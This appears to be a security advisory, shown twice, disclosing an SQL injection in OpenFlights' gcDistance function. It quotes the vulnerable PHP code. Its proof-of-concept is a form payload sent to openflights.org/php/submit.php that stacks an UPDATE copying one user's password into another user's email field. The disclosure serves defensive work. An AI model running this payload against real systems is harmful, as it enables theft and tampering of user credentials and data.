Summary
SQL Injection vulnerability in the gcDistance function in php/helper.php allows authenticated remote attackers to execute arbitrary SQL commands via the dst_apid parameter in php/submit.php.
Details
|
function gcDistance($dbh, $src_apid, $dst_apid) { |
|
// Special case: loop flight to/from same airport |
|
if ($src_apid == $dst_apid) { |
|
$dist = 0; |
|
} else { |
|
$sql = "SELECT x,y FROM airports WHERE apid=$src_apid OR apid = $dst_apid"; |
|
|
|
// Handle both OO and procedural-style database handles, depending on what type we've got. |
|
$sth = $dbh->prepare($sql); |
|
$sth->execute(); |
|
$src_date = $_POST["src_date" . $idx]; |
|
$src_apid = $_POST["src_apid" . $idx]; |
|
$dst_apid = $_POST["dst_apid" . $idx]; |
|
$alid = trim($_POST["alid" . $idx]); |
|
if ($alid == 0) { |
|
// this should not be necessary, but just in case... |
|
$alid = -1; |
|
} |
|
|
|
// If either the distance or duration is missing, try to calculate it by airports. |
|
if (!$_POST["duration"] || !$_POST["distance"]) { |
|
list($calc_distance, $calc_duration) = gcDistance($dbh, $src_apid, $dst_apid); |
PoC
Send form data multi=1&alid1=3&src_date1=2023-09-11&src_apid1=1&dst_apid1=1+%3B+UPDATE+users+AS+a%2C+users+as+b+SET+a.email+%3D+b.password+WHERE+a.name+%3D+%27ouuan%27+AND+b.name+%3D+%27jpatokal%27&duration=&distance=&number=&seat=&type=&class=&reason=®istration=¬e=&plane=&trid=NULL&mode=F&fid=0¶m=ADD to https://openflights.org/php/submit.php.
Impact
Authenticated remote attackers can use this SQL Injection to steal user information and manipulate data like user information, flights, and airports.
Summary
SQL Injection vulnerability in the
gcDistancefunction inphp/helper.phpallows authenticated remote attackers to execute arbitrary SQL commands via thedst_apidparameter inphp/submit.php.Details
openflights/php/helper.php
Lines 200 to 209 in f53e452
openflights/php/submit.php
Lines 104 to 115 in f53e452
PoC
Send form data
multi=1&alid1=3&src_date1=2023-09-11&src_apid1=1&dst_apid1=1+%3B+UPDATE+users+AS+a%2C+users+as+b+SET+a.email+%3D+b.password+WHERE+a.name+%3D+%27ouuan%27+AND+b.name+%3D+%27jpatokal%27&duration=&distance=&number=&seat=&type=&class=&reason=®istration=¬e=&plane=&trid=NULL&mode=F&fid=0¶m=ADDtohttps://openflights.org/php/submit.php.Impact
Authenticated remote attackers can use this SQL Injection to steal user information and manipulate data like user information, flights, and airports.